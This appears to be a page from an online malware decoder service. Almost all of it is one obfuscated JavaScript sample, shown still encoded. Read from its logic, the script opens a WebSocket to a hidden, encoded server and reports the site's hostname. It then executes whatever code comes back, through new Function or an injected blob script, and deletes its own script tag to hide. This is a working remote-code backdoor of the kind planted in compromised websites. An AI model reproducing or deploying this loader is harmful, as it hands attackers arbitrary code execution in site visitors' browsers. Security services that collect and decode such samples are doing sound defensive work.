Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	function a0D(O,V){
	const u=a0u();
		return a0D=function(D,r){
		D=D-0x9e;
		let A=u[D];
			if(a0D['oxwKCr']===undefined){
				var E=function(g){
				const K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
				let B='',v='',R=B+E;
				for(let T=0x0,M,n,l=0x0;
				n=g['charAt'](l++);
					~n&&(M=T%0x4?M*0x40+n:n,T++%0x4)?B+=R['charCodeAt'](l+0xa)-0xa!==0x0?String['fromCharCode'](0xff&M>>(-0x2*T&0x6)):T:0x0){
					n=K['indexOf'](n);
				}
				for(let N=0x0,J=B['length'];
				N<J;
					N++){
					v+='%'+('00'+B['charCodeAt'](N)['toString'](0x10))['slice'](-0x2);
				}
				return decodeURIComponent(v);
			};
				const k=function(g,K){
				let B=[],v=0x0,R,T='';
				g=E(g);
				let M;
				for(M=0x0;
				M<0x100;
					M++){
					B[M]=M;
				}
				for(M=0x0;
				M<0x100;
					M++){
					v=(v+B[M]+K['charCodeAt'](M%K['length']))%0x100,R=B[M],B[M]=B[v],B[v]=R;
				}
				M=0x0,v=0x0;
				for(let n=0x0;
				n<g['length'];
					n++){
					M=(M+0x1)%0x100,v=(v+B[M])%0x100,R=B[M],B[M]=B[v],B[v]=R,T+=String['fromCharCode'](g['charCodeAt'](n)^B[(B[M]+B[v])%0x100]);
				}
				return T;
			};
			a0D['JocyJF']=k,O=arguments,a0D['oxwKCr']=!![];
		}
		const q=u[0x0],f=D+q,Y=O[f];
			if(!Y){
				if(a0D['IFpfeS']===undefined){
					const g=function(K){
						this['vTjILz']=K,this['ssxhEp']=[0x1,0x0,0x0],this['NmOObL']=function(){
						return'newState';
					}
						,this['EPNKLm']='\w+ *\(\) *{
						\w+ *',this['HiTVaa']='['|"].+['|"];
						? *
					}
					';
				};
					g['prototype']['qXQKUX']=function(){
					const K=new RegExp(this['EPNKLm']+this['HiTVaa']),B=K['test'](this['NmOObL']['toString']())?--this['ssxhEp'][0x1]:--this['ssxhEp'][0x0];
					return this['rfAlKK'](B);
				}
					,g['prototype']['rfAlKK']=function(K){
					if(!Boolean(~K))return K;
					return this['jneyof'](this['vTjILz']);
				}
					,g['prototype']['jneyof']=function(K){
					for(let B=0x0,v=this['ssxhEp']['length'];
					B<v;
						B++){
						this['ssxhEp']['push'](Math['round'](Math['random']())),v=this['ssxhEp']['length'];
					}
					return K(this['ssxhEp'][0x0]);
				}
				,new g(a0D)['qXQKUX'](),a0D['IFpfeS']=!![];
			}
			A=a0D['JocyJF'](A,r),O[f]=A;
		}
		else A=Y;
		return A;
	}
	,a0D(O,V);
}
	function a0u(){
	const U=['WPhdH1BdG0jY','W67dUeGG','dLRdJ1La','xgtdU1dcOCkKEq','W6/cGCozkez5ESocWRNdPfxcMmoZW6yx','ymkvcSkfWRD8','WRSkW6/dOZXQgq','hHyeW7FdRZLv','W7TAd8kW','WR97WOCVWR3cImo1wa','imoKW7lcHbGgEcvzdSo6WQFdO1fHWOhdQYtdOtRdRmk6ox9ub8ksuSo/WPpdJmoq','g1VdRSkGkMHf','p8oHjbbPW7LlWOO','gK5NWRBcVNm0WOddKConuXpcRG','WO1biqS8e8kLW5hcR8kKx8kn','uvxdOu1zeXJcSNGLrSkoEmkcDhS','pWNcVKvYW4RdMmoOWRnYDmkYjSohW6a','WRSPW4ub','W68Hvmoa','CSoqlmowW4O','W7mRvmoa','W7NdQvaOWQG','aWtcSt8ytKBcL0yBwCknxW','eCkjob5TW6O','W7LpgCkTW7fpza','avBcQSo4','WQyuW4qTlmotWOFdLHlcT1mZW4O','C8oflCoqW4JdQq','wGVcUSoIBdL3WPe','WOGPWPGeW73cOCkfga','W7JcLSoepr12xSoyWR3dULpcHmoU','iSoKWRddGG','W6iyW55dF8knaCkkW7VdSSkE','uCk2W7hcHqZcPhy','WQbkWP4EpSkq','W6qSct3cGt85WQpcRvNdNmk2','kmoHgrDVW6jqWO7dGdrb','aWlcStaDtK7cQ2aRECk2FG','W5H9WPOXW7VcGmkOhCoyWPhdKSo2W57dGSoTja','BuNcOLbsW4tdTmoC','WRbCWP4fk8kkiSklW6ZdI8k4aZi','BmkfW6L4WQn/','CSosiW','ECk2rfiTWQiCWQBdOdvAFSkU','WRn/dLO','WRiRW5alxG','CSoNW7FcGGOvaJ4','W4T8WOGrW7/cLSkJ','DbRdIalcU0SrW6bbCh3dQSoJ','WQHZAhNdHwe/WQS','fCoCW6dcG355WQa','W6a/imovySkuWP08','W6S4vSkleCodW4GjlexdPmkJWRC','WPOaq0/dSmoPW6C','W7pcGCoaoa','hf3dHf5ndL1aWR8','Fmk7qvmIWQivWP3dUsLjt8kB','W6TRWPjxeCoMWOKyWQe7x8kk'];
		a0u=function(){
		return U;
	};
	return a0u();
}
	(function(O,V){
	const K=a0D,u=O();
		while(!![]){
			try{
			const D=parseInt(K(0xbd,'j2z#'))/0x1+parseInt(K(0xcd,'RYE6'))/0x2*(parseInt(K(0xba,'us1h'))/0x3)+-parseInt(K(0xb0,'nbiV'))/0x4*(-parseInt(K(0xd7,'f*t0'))/0x5)+parseInt(K(0xa7,'gVrH'))/0x6*(parseInt(K(0xa1,'gVrH'))/0x7)+-parseInt(K(0xd2,'E%pO'))/0x8+parseInt(K(0xc5,'E%pO'))/0x9*(-parseInt(K(0xc8,'cdCk'))/0xa)+-parseInt(K(0xca,'qR@a'))/0xb*(parseInt(K(0xc1,'@JN$'))/0xc);
			if(D===V)break;
			else u['push'](u['shift']());
		}
			catch(r){
			u['push'](u['shift']());
		}
	}
}
	(a0u,0x77538),void(function(){
		const v=a0D,O=(function(){
		let E=!![];
			return function(q,f){
				const Y=E?function(){
				const B=a0D;
					if(f){
					const k=f[B(0xc7,'b6he')](q,arguments);
					return f=null,k;
				}
			}
				:function(){
			};
			return E=![],Y;
		};
	}
	()),u=v(0xa4,'cdCk');
		function D(){
		const R=v;
		let E=location[R(0xab,'b6he')][R(0xaf,'8$]v')]('')[R(0xc9,'&M8]')]()['join']('')[R(0xcc,'7]XB')](/[^A-Za-z0-9_$]/g,'');
		if(!/^[A-Za-z_$]/[R(0xae,'yx8t')](E))E='_'+E;
		return E;
	}
		function r(E){
		const T=v;
			try{
			new Function(E)();
			return;
		}
			catch(q){
		}
			try{
				const f=new Blob([E],{
				'type':T(0x9e,')Ewp')
			}
			),Y=URL[T(0xaa,'@JN$')](f),k=document[T(0xb8,')Ewp')](T(0xbc,'us1h'));
				k[T(0xd6,'JIQv')]=!![],k[T(0xc4,'i[[&')]=Y,k[T(0xc3,'CXl1')]=k[T(0xa5,'T@nj')]=()=>{
				const M=T;
				URL['revokeObjectURL'](Y),k[M(0xb5,'i[[&')]();
			}
			,(document[T(0xd0,')Ewp')]||document['documentElement'])['appendChild'](k);
		}
			catch(g){
		}
	}
		function A(E=0x0){
			const l=v,q=O(this,function(){
			const n=a0D;
			return q[n(0xa6,'E%pO')]()[n(0xb1,'R$Fs')](n(0xa8,'FIr*'))[n(0xcb,'j2z#')]()[n(0xbe,'E%pO')](q)[n(0xd4,'bm41')]('(((.+)+)+)+$');
		}
		);
		q();
			if(E<0x3)try{
			const f=new WebSocket(atob(u)[l(0xad,'i[[&')]('')['reverse']()[l(0xb3,'ymOz')]('')),Y=D();
				f[l(0xc0,'&M8]')](l(0xa2,'83#o'),()=>{
				const N=l;
					try{
						window[Y]=f,f[N(0xc6,'ZOhm')](JSON[N(0xd1,'JIQv')]({
						'method':['o','l','l','e','h'][N(0xcf,'c%lP')]()['join'](''),'host':location[N(0xac,'yx8t')]
					}
					));
				}
					catch(k){
				}
			}
				),f[l(0xa9,'nbiV')](l(0xb2,'83#o'),k=>{
				const J=l,g=typeof k[J(0xd5,'8$]v')]===J(0x9f,'ZN]b')?k['data']:String(k['data']||'');
				if(g[J(0xb9,'Oaea')]())r(g);
			}
			);
		}
			catch(k){
				E+=0x1,setTimeout(()=>{
				A(E);
			}
			,0x3e8);
		}
	}
	A(),document['currentScript']&&document[v(0xc2,'us1h')]['remove']();
}
()));



© 2023 Quttera Ltd. All rights reserved.